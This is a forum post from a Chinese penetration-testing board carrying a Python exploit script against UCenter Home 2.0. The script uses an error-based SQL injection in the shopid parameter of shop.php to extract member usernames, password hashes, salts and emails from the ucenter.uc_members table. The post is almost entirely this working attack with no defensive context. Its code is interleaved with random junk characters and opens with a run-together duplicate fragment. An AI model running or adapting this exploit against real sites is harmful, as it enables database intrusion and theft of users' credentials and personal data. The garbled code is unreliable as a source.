中国网络渗透测试联盟
标题:
UCenter Home 2.0 EXP
[打印本页]
作者:
admin
时间:
2013-1-23 09:18
标题:
UCenter Home 2.0 EXP
#!/usr/bin/envpython importsys importurllib2 importre definfo(): print'From:
http://www.exploit-db.com/exploits/14997/'
print 'http://www.hake.cc/Web_loudong/' print'changed:qiaoy' print'exp:' print'./UCenter_Home_2.0.pysite' defmain(): ifl
. t5 E, Y }& }' B+ g
* ~2 C: v9 c% u, Z7 i/ ^
* s& M6 X4 z; ~+ p' v
#!/usr/bin/env python
' n* U* u. a* |) n" U) Q+ M
: ~" g& B7 g; U8 u
import sys
; h; x9 g- o0 T( B) F8 j7 X
import urllib2
, i( l+ P6 r6 M6 X$ A
import re
( ^+ I$ [2 N+ C7 R
: p% T" @ l! ~) G# @* i; K# A
def info():
! T$ T5 \/ ]" }" B! R1 B0 Q* j
print 'From:
http://www.exploit-db.com/exploits/14997/'
6 F- ]3 w& `8 F0 t! o+ T. Y8 L
print 'http://www.hake.cc/Web_loudong/'
) D1 f% R' [) U
print 'changed:qiaoy'
) c) W* Q' R4 Q6 i* H
print 'exp:'
5 t; J3 e8 s- W4 w6 S, I( H: N/ t6 U
print ' ./UCenter_Home_2.0.py site'
6 F$ p0 M$ @7 |
: ~" ]( l' ]( l, P
def main():
9 k6 {5 l, B/ M
if len(sys.argv) != 2:
% V* n' J" J% o0 U# _
info()
& w5 E- t# G8 T$ v+ D" ?7 h
else:
+ Z* ]/ t; A4 K7 ]; i
site = sys.argv[1]
+ e7 V! f4 E! m [
if site[0:7] == 'http://':
" h' x( b4 k J- N3 d6 Z! _1 i
sitesite =site
- ]4 p) m3 M7 U u8 K
elif site[0:8] == 'https://':
7 g7 V: z9 G8 Z O( |2 H' m
sitesite = site
1 D4 p/ g$ Y3 ]5 u3 ~' m" b; @; r
else:
6 {, `8 U; J" W/ n: R
site = 'http://'+site
s9 J) H& V5 w9 H) `
try:
" a2 O3 z2 F$ o6 z5 B+ o9 F) r
url = site+'/shop.php?ac=view&shopid=50534+and+(select+1+from(select+count(*),concat((select+(select+(select+concat(0x7e,0x27,cast(concat(uid,0x3a,username,0x3a,password,0x3a,salt,0x3a,email)+as+char),0x27,0x7e)+from+ucenter.uc_members+LIMIT+0,1))+from+information_schema.tables+limit+0,1),floor(rand(0)*2))x+from+information_schema.tables+group+by+x)a)+and+11=1'
9 n5 l* k5 Y; \2 _/ Y ?1 G
Value = urllib2.urlopen(url).read()
3 M. w& S8 B/ t3 `% ?+ r$ v
Msg = re.findall(r'Duplicate entry \'~\'(.*?)\' for key',Value)[0]
1 x; N5 Y7 p# [/ t& U
hacked = Msg.split(':')
. n# F, X' j5 w f
print 'Name: '+hacked[1]
9 j% `# k/ c: D
print 'Passwd: '+hacked[2]
+ g. u' ?. e, z% V7 t1 U. b* a. F! N
print 'salt: '+hacked[3]
2 ]0 B: D: F* w2 X2 r' l! H# C
print 'email: '+hacked[4]
; t2 D+ O9 W. A5 L& J6 C8 S# Z
except:
4 g; `' m+ ~9 P& j
print 'Sorry,I can\'t work............'
; m; c. g. z( U" b/ m
/ g7 A, k! S4 Y5 \3 }
if __name__ == '__main__':
- k. d! }) Y# @. s; o; f( P" M% w
main()
欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/)
Powered by Discuz! X3.2